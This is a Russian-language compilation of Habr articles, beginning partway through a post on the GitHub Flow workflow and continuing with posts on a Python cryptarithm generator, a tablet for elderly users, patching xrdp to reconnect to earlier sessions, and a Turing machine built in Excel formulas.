Простота его имеет несколько достоинств. Во-первых, людям проще понять его, так что они быстрее начинают использовать его, реже (или вовсе никогда не) допускают ошибки, требующие отката. Кроме того, не требуется скрипт-обёртка, помогающий следовать процессу, так что употребление GUI (и т. п.) не создаёт проблем.

Рабочий процесс Гитхаба
Итак, почему мы в Гитхабе не используем git-flow? Главная проблема в том, что у нас принято беспрестанное внедрение изменений. Рабочий процесс git-flow создавался в основном в помощь «выпускам» нового кода. А у нас нет «выпусков», потому что код поступает на продакшен (основной рабочий сервер) ежедневно — иногда по нескольку раз в день. Мы можем подавать для этого команды боту в той же чат-комнате, в которой отображаются итоги CI (интеграционного тестирования). Мы стремимся сделать процесс тестирования кода и его внедрения как можно проще, чтобы каждому сотруднику он был удобен в работе.

У такого частого внедрения новинок есть ряд достоинств. Если оно случается каждые несколько часов, то почти невозможно возникнуть большому количеству крупных багов. Небольшие недочёты случаются, но они могут быть исправлены (а исправления, в свою очередь, внедрены) очень быстро. Обычно пришлось бы делать «хотфикс» или как-то ещё отступать от нормального процесса, но для нас это становится просто частью нормального процесса: в рабочем процессе Гитхаба нет разницы между хотфиксом и небольшою фичею.

Другим достоинством беспрерывного внедрения изменений становится возможность быстро отреагивать на проблемы любого рода. Мы можем откликаться на сообщения о проблемах с безопасностью или исполнять небольшие (но интересные) просьбы о новых фичах — но тот же самый процесс работает и при внесении изменений, связанных с разработкою фичи нормального (или даже крупного) размера. Процесс один и тот же и он очень прост.

Как мы это делаем
Итак, каков рабочий процесс Гитхаба?

  • Содержимое ветви master всегда работоспособно (deployable).
     
  • Начиная работу над чем-то новым, ответвляйте от ветви master новую ветвь, имя которой соответствует её предназначению (например, «new-oauth2-scopes»).
     
  • Закоммитив в эту ветвь локально, отправляйте регулярно свою работу и в одноимённую ветвь на сервере.
     
  • Когда вам понадобится отзыв, или помощь, или когда вы сочтёте ветвь готовою ко слиянию, отправьте запрос на слияние.
     
  • После того, как кто-то другой просмотрел и одобрил фичу, вы можете слить вашу ветвь в ветвь master.
     
  • После того, как ветвь master пополнилась новым кодом, вы можете немедленно внедрить его на продакшен и вам следует сделать это.
Вот и весь рабочий процесс. Он очень прост и результативен, он работает для довольно крупных рабочих групп — в Гитхабе сейчас работает 35 человек, из которых, может быть, пятнадцать или двадцать одновременно работают над одним и тем же проектом (github.com). Думаю, что большинство команд разработчиков (групп, одновременно работающих с логикою одного и того же кода, что может порождать конфликты) имеют такой же размер — или меньше такого. Особенно группы, достаточно прогрессивные для того, чтобы заниматься быстрым и последовательным внедрением.

Итак, давайте по порядку рассмотрим каждый шаг.

Содержимое ветви master всегда работоспособно (deployable)

В общем-то это единственное жёсткое правило во всей системе. Есть только одна ветвь, имеющая всегда некоторое особенное значение, и её мы назвали master. Для нас это значит, что код этой ветви либо внедрён на продакшен, либо, в худшем случае, окажется внедрён в течение нескольких часов. Эта ветвь очень редко подвергается откручиванию на несколько коммитов назад (для отмены работы): если возникает проблема, то отменяются изменения из коммитов или совершенно новые коммиты исправляют проблему, но сама ветвь почти никогда назад не откручивается.

Ветвь master стабильна. Внедрение её кода на продакшен или создание новых ветвей на её основе — это всегда, всегда безопасно. Если от вас в master поступает неоттестированный код или он ломает сборку, то вы нарушили «общественный договор» команды разработчиков и у вас на душe должны кошки поскрести по этому поводу. Каждая ветвь подвергается у нас тестированию, а итоги поступают в чат-комнату — так что, если вы не тестировали её локально, то можете запушить ветвь (даже с единственным коммитом) на сервер и подождать, пока Jenkins не сообщит, все ли тесты успешно пройдены.

Ответвляйте от ветви master новые ветви, имена которых соответствуют предназначению

Когда хотите поработать над чем-то новым, ответвляйте от стабильной ветви master новую ветвь, имя которой соответствует предназначению. (Например, в коде Гитхаба прямо сейчас есть ветви «user-content-cache-key», «submodules-init-task», «redis2-transition».) Такое наименование имеет несколько достоинств. Например, достаточно подать команду fetch, чтобы увидеть, над какими темами работают остальные. Кроме того, оставив ветвь на какое-то время и возвратившись к ней позднее, по имени проще припомнить, о чём она была.

И это приятно, потому что, когда на Гитхабе заходим на страницу со списком ветвей, то легко видеть, над какими ветвями недавно поработали (и, приблизительно, каков был объём работы).

[скриншот]

Это почти как список будущих фич с грубою оценкою нынешнего состояния их. Если не пользуетесь этой страницею, то знайте — у ней классные возможности: она вам показывает только те ветви, в которых была проделана работа, уникальная по отношению к выбранной вами в настоящий момент ветви, да ещё и сортирует таким способом, чтобы ветви с наиболее недавнею работою были сверху. Если захочется полюбопытствовать, то я могу нажать на кнопку «Compare» и поглядеть на точный объединённый diff и на список коммитов, уникальных для этой ветви.

Сейчас, когда я это пишу, у нас в репозитории 44 ветви с невоссоединённым кодом, но также видно, что из них только в девять или в десять поступал код за последнюю неделю.

Постоянно отправляйте код именованных ветвей на сервер

Другое крупное отличие от git-flow: мы беспрерывно делаем push ветвей на сервер. С точки зрения внедрения приходится по-настоящему беспокоиться только о ветви master, так что push никого не озадачит и ничего не поломает: всё, что не master это просто код, над которым идёт работа.

Этим создаётся страховочная копия на случай утраты ноутбука или выхода жёсткого диска из строя. Этим поддерживается, что ещё важнее, постоянный обмен сведениями между разработчиками. Простой командою «git fetch» можно получить список тех TODO, над которыми все сейчас работают.

<code>$ git fetch
remote: Counting objects: 3032, done.
remote: Compressing objects: 100% (947/947), done.
remote: Total 2672 (delta 1993), reused 2328 (delta 1689)
Receiving objects: 100% (2672/2672), 16.45 MiB | 1.04 MiB/s, done.
Resolving deltas: 100% (1993/1993), completed with 213 local objects.
From github.com:github/github
 * [new branch]      charlock-linguist -> origin/charlock-linguist
 * [new branch]      enterprise-non-config -> origin/enterprise-non-config
 * [new branch]      fi-signup  -> origin/fi-signup
   2647a42..4d6d2c2  git-http-server -> origin/git-http-server
 * [new branch]      knyle-style-commits -> origin/knyle-style-commits
   157d2b0..d33e00d  master     -> origin/master
 * [new branch]      menu-behavior-act-i -> origin/menu-behavior-act-i
   ea1c5e2..dfd315a  no-inline-js-config -> origin/no-inline-js-config
 * [new branch]      svg-tests  -> origin/svg-tests
   87bb870..9da23f3  view-modes -> origin/view-modes
 * [new branch]      wild-renaming -> origin/wild-renaming
</code>
Также это позволяет всем видеть (на гитхабовской странице списка ветвей), над чем работают все остальные — можно проанализировать код и решить, не желаешь ли в чём-нибудь помочь разработчику.

В любое время создавайте запрос на слияние

GitHub снабжён поразительною системою обзора кода, которая называется запросами на слияние; боюсь, недостаточно разработчиков вполне знают о ней. Многие пользуются ею в обыкновенной работе над открытым исходным кодом: форкнул проект, обновил код, отправил запрос на слияние к хозяину проекта. Однако эта система также может употребляться как средство внутрикорпоративной проверки кода, и так её используем мы.

Её мы, собственно, скорее используем как средство просмотра и обсуждения ветвей, чем как запрос на слияние. GitHub поддерживает отсылку запроса на слияние из одной ветви в другую в одном и том же проекте (открытом или приватном), так что в запросе можно сказать «мне нужна подсказка или обзор этого кода», а не только «прошу принять этот код».

[скриншот]

На этой иллюстрации вы можете видеть, как Джош просит Брайана взглянуть на код, и тот является с советом по поводу одной из строк кода. Ниже можно видеть, как Джош соглашается с соображениями Брайана и пополняет код, чтобы отреагировать на них.

[скриншот]

Можно, наконец, видеть и то, что код находится ещё на стадии испытаний: это ещё не ветвь, подготовленная ко внедрению, мы используем запросы на слияние для рассмотрения кода задолго до того, как захотим действительно слить его в master и отправить на внедрение.

Если ваша работа над фичею или ветвью застревает и нужна помощь или совет, или если вы — разработчик, а на вашу работу надо бы посмотреть и дизайнеру (или наоборот), или даже если кода у вас мало (или вовсе нет), но есть какая-то композиция скриншотов и общих идей, то вы открываете запрос на слияние. Система Гитхаба позволяет добавлять людей к обсуждению @-упоминанием их, так что если обзор или отклик нужен от конкретного человека, то можно в запросе упомянуть его (вы видели выше, как Джош сделал это).

И это круто, потому что в запросах на слияние можно комментировать отдельные строки объединённого диффа, или отдельные коммиты, или весь запрос в целом — и копии реплик сложатся в единое обсуждение. Также можно продолжать пополнение ветви кодом, так что если кто-нибудь укажет на ошибку или на позабытую возможность в коде, то можно поместить исправление в ту же ветвь, и GitHub покажет новые коммиты в обсуждении, так что и вот так можно трудиться над ветвью.

Если ветвь существует слишком долго и вы ощущаете, что код в ней рассогласовывается с кодом ветви master, то можно код из master влить в вашу ветвь и продолжить работу. В обсуждении запроса на слияние или в списке коммитов без труда видно, когда ветвь последний раз обновляли кодом, взятым из master.

[скриншот]

Когда работа над ветвью целиком и полностью окончена и вы ощущаете её готовою ко внедрению, тогда можете переходить к следующему шагу.

Слияние только после обзора запроса

Мы не работаем непосредственно в ветви master, но и работу из именованной ветви мы не подвергаем слиянию сразу после того, как сочтём её оконченною — сперва мы стараемся получить одобрение от других сотрудников компании. Оно обычно имеет форму «+1», или эмоджи, или комментария «:shipit:», но кого-то ещё нам надо привести поглядеть на ветвь.

[скриншот]

Когда одобрение получено, и ветвь прошла CI, мы можем слить её в master и на внедрение; в этот момент запрос на слияние будет закрыт автоматически.

Внедрение непосредственно после обзора

Наконец, ваш труд окончен, а плоды его — на ветви master. Это означает, что, даже если прямо сейчас вы не станете внедрять их, то они всё равно станут основою для ветвей других сотрудников, и что следующее внедрение (которое, скорее всего, случится через несколько часов) запустит новинку в дело. И так как бывает очень неприятно обнаружить, что кто-то ещё запустил ваш код и пострадал от этого (если код что-то поломал), то людям свойственно самим заботливо проверять стабильность итогов совершённого ими слияния, самостоятельно внедрять результаты.

Наш campfire-бот, по имени hubot, может внедрять код по указанию от любого из сотрудников. Достаточно подать в чате команду hubot depoy github to production, и код поступит на продакшен, где начнётся перезапуск (с нулевым даунтаймом) всех необходимых процессов. Можете сами судить о том, как часто это случается на Гитхабе:

[скриншот]

Как видите, шесть разных человек (среди которых один саппорт и один дизайнер) внедряли код более двух дюжин раз за сутки.

Всё вышеописанное я совершал для ветвей с одним коммитом, содержащим однострочное изменение. Процесс прост, бесхитростен, масштабируем и силён. То же самое можно делать и с ветвью фичи, содержащей полсотни коммитов, потребовавших двухнедельной работы, и с одним коммитом, изготовленным минут за десять. Процесс настолько прост и настолько не тяготит, что его необходимость не раздражает даже в однокоммитном случае, так что люди редко пропускают или обходят отдельные шаги его — разве что речь идёт об изменении настолько малом и незначительном, что это никакого значения не имеет.

Наш рабочий процесс обладает и силою, и невероятною простотою. Думаю, многие согласятся, что GitHub — очень стабильная платформа, что на её проблемы мы реагируем быстро (если они вообще возникают), что новые фичи внедряются в быстром темпе. Там нет таких компромиссов в отношении качества или стабильности, которые могли бы увеличить скорость и простоту рабочего процесса или уменьшить число его шагов.

Заключение
Git сам по себе довольно сложен для понимания. Если его ещё и употреблять в рабочем процессе более сложном, чем это необходимо, то дело кончится ежедневным чрезмерным усилием рассудка. Я всегда буду отстаивать употребление простейшей из возможных систем, пригодных для работы вашей группы, и до тех пор, пока система эта не перестанет работать; только тогда добавляйте сложность, когда никак не удаётся избежать этого.

Для тех рабочих групп, которым необходимо подготавливать официальные выпуски кода через продолжительные интервалы (от нескольких недель до нескольких месяцев между выпусками), и создавать хотфиксы, и ветви поддержки прежних версий, и совершать другие дела, необходимость которых вызывается такими нечастыми выпусками кода, имеет смысл git-flow, и я весьма рекомендовал бы его употребление.

Для групп, труд которых строится вокруг доставки кода, которые ежедневно обновляют продакшен, беспрерывно тестируют и внедряют фичи, я рекомендовал бы более простой рабочий процесс — такой, как GitHub Flow.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Генератор криптарифмов

В написанной на днях статье Вернулся невод с тиной морскою, я дал ссылку на частотный словарь Википедии. Колличество скачиваний на порядки превзошло все мои ожидания. Я почувствавал огромное духовное родство с читателями Хабра. Одна часть скачавших (как и я!) любит всячески возиться со словами и словарями, а вторая часть (как и я!), увидев на просторах сети интересный артефакт, тут же хватает его и тащит к себе в гнездо, а что с ним делать — потом разберёмся!

К первой части у меня просьба. Если Вы нашли интересное применение словарю или у вас есть идея такого применения и это всё не коммерческая тайна, поделитесь, пожалуйста, в комментариях.

А для второй части, для тех, кто скачал словарь, а теперь мучительно думает, что делать со свалившимся счастьем, я хочу написать несколько статей. Собственно с этой и начну.

Криптарифм — разновидность математических головоломок. В арифметическом тождестве каждая цифра заменена буквой (одинаковые цифры — одинаковыми буквами, разные — разными). Решением криптарифма является такая подстановка, при которой тождество становится верным. Как правило, криптарифм имеет только одно решение.

Самым известным криптарифмом является «SEND+MORE=MONEY», опубликованный в 1924ом году английским математиком Генри Дудени. Его (единственное) решение 9567+1085=10652.

Решить криптарифм вручную может быть довольно сложно, зависит от конкретной головоломки. Но ещё сложнее придумать криптарифм так, чтобы он представлял из себя несколько связанных между собой слов или даже осмысленную фразу. Придумать головоломку на умножение хотя бы трёхзначных чисел, задача для человека крайне сложная.

Об автоматических решателях криптарифмов написано много, впрочем, с современными машинами, тупой брутфорс-решатель пишется в несколько строчек и решает за вполне приемлемое время.

В этой статье я покажу, как, имея под рукой большой словарь, написать программу-ассистент для сочинения красивых криптарифмов.

Работать программа будет так:
функция получает начало криптарифма, до знака равенства, например «SEND+MORE», и печатает список полных криптарифмов имеющих одно решение.

Под спойлером объяснение алгоритма.Алгоритм.
Перебираем все возможные подстановки для полученного начала криптарифма. Подстановки, в которых одно или несколько чисел начинаются с нуля отбрасываем за ненадобностью. Для каждой подстановки вычисляем результат получившегося в результате её применения арифметического выражения. Если в этом результате есть цифры из подстановки, заменяем их соответствующими буквами и помним о том, что те цифры, которых в подстановке не было нельзя заменять буквами из подстановки. Ищем в словаре слова, подходящие под получившийся шаблон, по ходу дела заполняем словарь, в котором каждому найденному слову соответствует список подстановок, в результате которых это слово может получиться. В конце отбираем только те слова, которые могут получиться в результате только одной подстановки (криптарифм имеет одно решение) и их выводим. Выводить можно отсортировав по частотности в порядке убывания, чтобы всякий мусор (а его в википедии немало) оказался внизу получившегося списка.

Рассмотрим один шаг работы алгоритма:

пользователь ввёл — хабр*хабр

алгоритм пробует очередную подстановку, например — х=7, а=6, б=1, р=8

сначала вычисление — 7618*7618=58033924

в получившемся числе присутствует 8, которой соответствует буква р, таким образом нам надо найти в словаре все слова, подходящие под шаблон 5р033924 (или проще говоря слова, в которых вторая буква «р», а четвёртая и пятая буквы совпадают), причём ещё надо учесть, что цифры 5, 0, 3, 9, 2, 4 не могут соответствовать буквам х, а и б, т.к. эти буквы уже заняты цифрами 7, 6 и 1 соответственно.

Когда алгоритм отработает, оставляем только те, слова, которые можно получить только одной подстановкой и выводим соответствующие строчки, в частности хабр*хабр=троллинг,7618*7618=58033924 (ВНИМАНИЕ! Мнение автора программы может не совпадать с содержанием получившихся в результате её выполнения крифтарифмов).

Единственная нетривиальная часть алгоритма — поиск слов, обладающих определёнными свойствами, в огромном словаре. Для этого, при загрузке словаря, программа заполняет несколько индексов.

0) word_list — список всех слов словаря

1) pattern_index — индекс структур. Структура слова определяется вот такой функцией:

<code class="python">def pattern(st):
    d={}   
    rv=[]
    for l in st:
        if not(l in d):
            d[l]=len(d)
        rv.append(d[l])
    return tuple(rv)
</code>

Индексом в словаре служит структура, а значением — сет всех слов (точнее не самих слов, а их индексов в списке word_list), обладающих подобной струтурой. При помощи этого словаря можно моментально найти все слова, в которых кол-во и расположение букв совпадает с заданым словом или шаблоном:

<code class="python">for i in signature_dict.get(signature_key(u'барабан'),set()):
    print words_list[i],
</code>

каракас кабаках казакам балабан заказал билибин галаган доходов барабан барабаш заказан перепел потопом доходом роторов каракал казаках киликия киликию заказах заказав заказам белебей ротором доводом

2) letters_order_index — индекс расположения букв. Ключ — буква и её порядковый номер в слове. Значение — сет всех слов (точнее… ну вы поняли) в которых эта буква стоит на заданной позиции.

<code class="python">for i in letters_order_index.get((1,u'ы'),set()):
    print words_list[i],
</code>

быкова высказываниями дык был рысак выказать выглядели лыжного была были было быстров дыховичный дымке сыпь лыжа вытеснив выпуском выслушав выигран выводил рысистой выступающими лыжника сычёва выкуплены выразили высылку высочайшими ....

3) letters_existance_index — индекс нахождения букв в словах. Ключ — буква. Значение — сет всех слов (точнее… итд.) в которых есть эта буква.
<code class="python">
for i in letters_existance_index.get((1,u'ъ'), set()):
    print words_list[i],
</code>

объявленные объявленной объединила конъюгации предъявило объединённая разъезжал съездить несъедобен грузоподъемностью подъехали подъемные подъездах объёмными объезд объединяется необъяснимые въезда объявит объёмом объявился объединяющие объединенные съёмочная предъявлении въезд изъято подъездных объективы ...

Т.к. перечисленные индексы содержат сеты (множества), с ними можно легко проделывать операции над множествами — объединение, пересечение, разницу и пр.

Теперь становится полностью понятно, как искать слова в примере с подстановкой.

сначала находим множество всех слов, у которых структура такая же, как у 58033924, затем получаем его пересечение с множеством слов, у которых вторая буква «р», от того что получилось отнимаем по очереди множества слов, в которых есть буквы «х», «а» и «б». то, что получается в итоге и есть множество слов для подстановки х=7, а=6, б=1, р=8.


А под этим програмный код
<code class="python">import re, itertools
import codecs
from collections import defaultdict
from copy import copy
       
def signature_key(st):
    d={}   
    rv=[]
    for l in st:
        if not(l in d):
            d[l]=len(d)
        rv.append(d[l])
    return tuple(rv)

def substitutions_generator(st):
    words = re.split('[-*+]',st)
    letters = list(set(''.join(words)))
    first_letters = set([w[0] for w in words])
    for comb in itertools.combinations(range(10),len(letters)):
        d = dict(zip(letters,comb))
        if not any(d[k] == 0 for k in first_letters):
            yield d
           
def eval_substitution(st,substitution):
    reverse_substitution = {}
    for k in substitution:
        reverse_substitution[str(substitution[k])] = k
        st = st.replace(k,str(substitution[k]))
    result = str(eval(st))
    tojd = st + "=" + result
    forbidden = set([]) #цифры, которые нельзя заменять буквами из substitution
    for k in reverse_substitution:
        if not(k in result):
            forbidden.add(reverse_substitution[k])           
        else:
            result = result.replace(k,reverse_substitution[k])
    return result,tojd,forbidden


def gen_indexes(path, limit = None):   
    freq_dict = {}
    pattern_index = defaultdict(set)
    letters_order_index = defaultdict(set)
    words_list=[]
    letters_existance_index = defaultdict(set)

    for i,l in enumerate(codecs.open(path,"r","utf-8-sig")):
        if limit and i>limit:break
        w,n=l.split()
        words_list.append(w)
        index = len(words_list)-1
        freq_dict[index]=int(n)
        pattern_index[signature_key(w)].add(index)
        for k in list(enumerate(w)):
            letters_order_index[k].add(index)
        for l in w:
            letters_existance_index[l].add(index)
    return words_list, pattern_index, letters_order_index, letters_existance_index, freq_dict

def generate_cryptarithm(st, indexes):
    words_list, pattern_index, letters_order_index, letters_existance_index, freq_dict = indexes
    d=defaultdict(list)
    for sub in substitutions_generator(st):       
        res,tojd,forbidden = eval_substitution(st,sub)
        cur_indexes=copy(pattern_index.get(signature_key(res),set([])))
        if not cur_indexes:
            continue
        for lk in list(enumerate(res)):
            if not(lk[1] in '0123456789'):
                cur_indexes&=letters_order_index.get(lk,set([]))
        for l in forbidden:
            cur_indexes-=letters_existance_index[l]
        if cur_indexes:
            for w in cur_indexes:
                d[w].append((sub,tojd))
    for k in sorted(d.keys(), key = lambda x:freq_dict[x], reverse = True):
        if len(d[k]) ==1:
            tojd=d[k][0][1]
            print "%s=%s,%s"%(st,words_list[k],tojd)
</code>

Для того, чтобы пользоваться этим модулем можно импортировать из него две функции — gen_indexes и generate_cryptarithm.

Сгенерируем достойный ответ на send+more=money:

<code class="python"># -*- coding: utf-8 -*-
from cryptarithm import generate_cryptarithm,gen_indexes
indexes = gen_indexes("wiki_freq.txt", 400000)
l1=[u'пошли',u'пришли',u'вышли',u'отправь']
l2=[u'еще',u'больше',u'мне',u'много', u'срочно']
for w1 in l1:
    for w2 in l2:
        generate_cryptarithm(w1+u'+'+w2,indexes)
        generate_cryptarithm(w1+u'*'+w2,indexes)
        generate_cryptarithm(w1+u'-'+w2,indexes)
</code>

Получим много вариантов, остаётся только просмотреть и выбрать.

Лично мне наиболее симпатичен вышли-еще=воблы,43198-505=42693

Код распространяется по лицензии!

Лицензия.
Берите кто хочет. Делайте что хотите — меняйте, распространяйте, продавайте. Указывать моё авторство не обязательно. Но если сделайте с программой что-нибудь интересное или получите интересные результаты в результате её использования — напишите, пожалуйста, комментарий.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Еще один взгляд на планшет для пожилых

Вопросы поставленные темами Планшет для пожилых. Часть первая. и Планшет для пожилых. Часть вторая. вне всякого сомнения затронут или уже затронули почти каждого пользователя смартфона и планшета.
Попробую предложить параллельный взгляд на проблему Планшета для пожилых.
Не вызывает сомнения что парадигма управления должна быть совершенно иной, что собственно обсуждалось в предыдущих темах.



С моей точки зрения
Для использования планшета пожилым человеком
  • Пользователь должен быть высоко мотивирован на данное действие.
  • Должна быть обеспечена всесторонняя поддержка пожилому пользователю.
Я к сожалению не могу помочь с «привлечением узких специалистов» попробую помочь с привлечением средств, методом систематизации разработки предлагаемого вами продукта.
Мной подготовлено Техническое задание на разработку автоматизированной Системы «Планшет для неквалифицированного пользователя». В лучших традициях старого стиля отрасли ИТ. Возможно часть мыслей могут пригодится при привлечении внешнего финансирования.

Для инвестора будет важно:
1. Численность целевой группы,
В соответствии со статистикой «Число лиц старше трудоспособного возраста в России с 2006 года постоянно растет и на начало 2012 года составило 32,4 миллиона человек или 22,7% от общего населения. Численность лиц старше трудоспособного возраста сегодня на 8,9 миллиона человек превышает численность лиц моложе трудоспособного возраста» © Вовченко, Минтруд.
2. Способность Продукта (Системы) к извлечению прибыли.
Способ монетизации.
я тоже не люблю этот термин, но к сожалению получение внешних инвестиций без него невозможно.
В нашем случае предлагается иметь как минимум 2 платные услуги:
  • программу управления удаленным планшетом,
  • службу помощи пожилому пользователю.



Оригинальный файл ТЗ — по ссылке, синий текст в Word — это собственно требования необходимые для проработки в ТЗ.




Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Из песочницы] Учим xrdp подключаться к прошлым сессиям

XRDP хорошая штука, но есть один недостаток — если ты уже открыл к сессию, а потом разъединился (без выхода из сессии), то впоследствии не факт, что ты к ней сможешь соединиться. Маялся с этим приличное время пока неудобство достигло критической точки и я решил таки взяться и глянуть в исходники, чтобы выяснить как же это поправить.

Способ не претендует на идеальность, было бы хорошо конечно вообще выложить коммит разработчику, но для этого нужно не просто тупо закомментировать указанные ниже строки, но добавить хотя бы опцию, которая позволяет включать менее разборчивый режим при определении — открыть новую сессию или использовать старую. К тому же необходимо проверить на корректность работы алгоритма с отключенным разборчивым режимом, чего я пока не делал, ибо протестировал — работает, и я рад ибо для меня сейчас прежде всего важна практическая польза.

Ну что ж, начнем. Суть способа заключается в комментировании в файле sessman/session.c пяти следующих строк:
<code class="cpp">    if (g_strncmp(name, tmp->item->name, 255) == 0 
        //&&
        //tmp->item->width == width &&
        //tmp->item->height == height &&
        //tmp->item->bpp == bpp &&
        //tmp->item->type == type
            )
</code>
Поясню. Здесь сканируются существующие сеансы и делается проверка, от какого пользователя и какого разрешения, цветовой глубины, типа (VNC, XRDP) планируется открыть сессию. Если находится сеанс с такими же параметрами, то подключаемся к той же сессии. Если нет, открываем новую. Условия: разрешение, глубина цвета, тип сеанса, я решил отключить.


Теперь опишу как я это реализую на примере скажем Scientific Linux дистрибутива (так же подойдет под Fedora, Red Hat, CentOS). Так же учитываем, что xrdp нет в стандартных репозиториях Scientific Linux, придется подключать дополнительные (об этом я не буду здесь писать, тема гуглится на раз).
Устанавливаем нужные инструменты:
<code class="bash"># yum groupinstall "Development tools"
# yum install yum-utils rpmdevtools tar
</code>
Скачиваем сырцы проекта, и устанавливаем их в рабочую директорию сборщика rpm:
<code class="bash">$ yumdownloader --source xrdp
$ rpm -ivh xrdp-0.5.0-0.13.el6.src.rpm
</code>
Имя файла будет не обязательно xrdp-0.5.0-0.13.el6.src.rpm, зависит от того, что у вас скачалось первой коммандой. Здесь файл скачанный для Scientific Linux.

В рабочей папке сборщика rpm появятся файлы, в т.ч. ~/rpmbuild/SOURCES/xrdp-HEAD-*.tar.gz. Этот файл на нужно будет распаковать, т.е.:
<code class="bash">$ cd ~/rpmbuild/SOURCES
$ tar -xzf xrdp-HEAD-a9cfc23.tar.gz
</code>

Установим все необходимое для сборки:
<code class="bash"># yum-builddep ~/rpmbuild/SPECS/xrdp.spec
</code>

Теперь ищем указанный нами вначале файл и открываем его каким нибудь текстовым редактором, например nano:
<code class="bash">$ nano ~/rpmbuild/SOURCES/xrdp-HEAD-a9cfc23/sesman/session.c
</code>
Находим нужные строчки, модифицируем их именно так как я указал выше, обязательно не забываем перенести скобку в последней строке на новую и закомментировать амперсанды в конце первой строки (я для наглядности их перенес на новую строку).

Запаковываем это дело обратно:
<code class="bash">$ cd ~/rpmbuild/SOURCES
$ tar -czf xrdp-HEAD-a9cfc23.tar.gz xrdp-HEAD-a9cfc23
</code>

Осталось дело за малым — собрать модифицированный rpm:
<code class="bash">$ rpmbuild -ba ~/rpmbuild/SPECS/xrdp.spec
</code>
Если все прошло нормально, то в ~/rpmbuild/RPMS/x86_64/ получаем два файлика rpm:
<code class="bash">$ ls -l
итого 664
-rw-rw-r--. 1 rafaelrs rafaelrs 243152 Авг  5 07:41 xrdp-0.5.0-0.13.el6.x86_64.rpm
-rw-rw-r--. 1 rafaelrs rafaelrs 430620 Авг  5 07:41 xrdp-debuginfo-0.5.0-0.13.el6.x86_64.rpm
</code>
Устанавливаем первый пакет, запускаем сервис и радуемся жизни :)
<code class="bash">yum install ~/rpmbuild/RPMS/x86_64/xrdp-0.5.0-0.13.el6.x86_64.rpm
service xrdp start
</code>

Кстати да, не забываем, что если вдруг пакет обновится, то изменения, внесенные нами, пропадут. Можно повторить операцию, можно включить xrdp в список исключений, можно вообще переименовать приложение. Тут дело вкуса, я остановился на первом, благо xrdp не так уж и часто обновляется.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Из песочницы] Машина Тьюринга на формулах Excel

В статье кратко рассказывается о машине Тьюринга и приводится ее реализация на Exсel. Полезна статья будет и тем, кто хочет познакомиться с машиной Тьюринга, и тем, кто хочет повысить свой кругозор в функционале Excel.

Что такое Машина Тьюринга

Машина Тьюринга представляет собой бесконечную ленту с ячейками. В каждой ячейке записан один символ. В частности, пустая ячейка – это ячейка с записанным в ней символом пустой ячейки. Символы в ячейках принадлежат алфавиту этой машины.
По ленте ездит головка, которая может пребывать в нескольких состояниях, причем одно из состояний – окончание работы машины. Головка считывает текущую ячейку и, в зависимости от значения этой ячейки и своего текущего состояния, меняет значение в текущей ячейке, а затем либо перемещается вправо, либо перемещается влево, либо остается на месте.
Для запуска машины нужно указать начальные состояние ленты, состояние головки и положение головки. И, естественно должен быть определен алфавит машины, состояния головки и .
Всего правил для головки должно быть определено N=(число символов в алфавите)*(число состояний -1). Число состояний-1 так как для конечного состояния правил нет – машина останавливается.

Простой пример: прибавление единицы к двоичному числу

Для такой машины потребуется алфавит из трех символов (0,1, х) – где 0 и 1 будут для числа, а х для пустой ячейки. То есть пустая лента вся заполнена символами «х».
У головки будет 4 состояния: q1,q2,q3 и q4 – остановка машины.
Правила для машины выпишем в виде матрицы:
image

Нетрудно проверить, что такая машина при помещении головки на старший разряд двоичного числа, при начальном состоянии q1, увеличит это число на 1.

Реализация на Excel

Создадим таблицу правил, как в примере выше. Выделим всю эту таблицу и назовем ее «rules». Жмем Enter.

image

Структура таблицы такая же, как в примере выше, c небольшими изменениями:
• состояния машины названы просто цифрами (без q)
• пустую ячейку означает символ «2»
• движение головки задано 1 – вправо, -1 – влево, 0 – на месте

Зададим начальное состояние ленты:
image

Оно означает, что на ленте записано число 10111, а головка находится в состоянии 1, и в ячейке, соответствующей старшему разряду. Excel поддерживает условное форматирование, что и применено для большей наглядности.
Новый шаг машины будет моделироваться новыми строками эксель, а формулы будут имитировать состояние машины согласно правилам.
Описание формул Excel для машины ТьюрингаФормула для ячейки ленты:
=ЕСЛИ(K14<>0; ИНДЕКС(rules;K14+1;2+K13*3);K13)
Эта формула для значения ячейки ленты на следующем шаге (K17). Она означает, что если головка (K14) находится под ячейкой (то есть в клетке K14 не ноль), то следует записать в эту ячейку значение согласно правилам (из массива rules). Если же в клетке под ячейкой ленты ноль (что значит, под ней нет головки), то значение не меняется.

image

Формула для состояния головки (для удобства чтения сделаны переносы строки):
=ЕСЛИ(K14<>0; ЕСЛИ(ИНДЕКС(rules;K14+1;4+K13*3)=0; ИНДЕКС(rules;K14+1;3+K13*3);0);
ЕСЛИ(J14<>0; ЕСЛИ(ИНДЕКС(rules;J14+1;4+J13*3)=1; ИНДЕКС(rules;J14+1;3+J13*3);0);
ЕСЛИ(L14<>0; ЕСЛИ(ИНДЕКС(rules;L14+1;4+L13*3)=-1; ИНДЕКС(rules;L14+1;3+L13*3);0);0)))


Эта формула
1) сначала проверяет, находится ли головка в этой ячейке (K14) – тогда если правила говорят оставаться на месте, в эту клетку пишется состояние машины согласно правилам
2) Если головка находится на одну ячейку влево (J14) и правила говорят сдвинуться вправо – тогда в эту клетку пишется состояние машины согласно правилам
3) Если головка находится на одну ячейку справа (L14) и правила говорят сдвинуться влево – тогда в эту клетку пишется состояние машины согласно правилам
4) Во всех остальных случаях пишется ноль
Такая формула имитирует движение головки.
В формулах использована функция Индекс(массив, строка, столбец). Вычислим значение ИНДЕКС(rules;K14+1;4+K13*3) – кусочка формулы состояния головки.
Как видно из рисунка, K14=1, K13=1. Значит надо найти ИНДЕКС(rules;1+1;4+1*3) то есть ИНДЕКС(rules;2;7) – значение в массиве «rules» на пересечении 2й строки и 7го столбцы (нумеруются строки и столбцы начиная с 1, а не 0). В нашей табличке это значение «1».

image

Формулы относительные – то есть при копировании их на новые ячейки эксель берет данные из ячеек соответствующий предыдущему состоянию машины.
В итоге, выполнив все шаги, машина «останавливается» — достигнуто состояние «4», к числу прибавлена единица.



Вот ссылка на файл Excel

Заключение

Если бы Эксель поддерживал сколь угодно большое число строк и столбцов, то это автоматически означало бы, что используя формулы экселя можно реализовать любую вычислимую функцию, так как Excel был бы Тьюринг-полным

P.S. Задача на смекалку: измените правила описанной в статье машины Тьюринга так, чтобы она уменьшала двоичное число на 1.

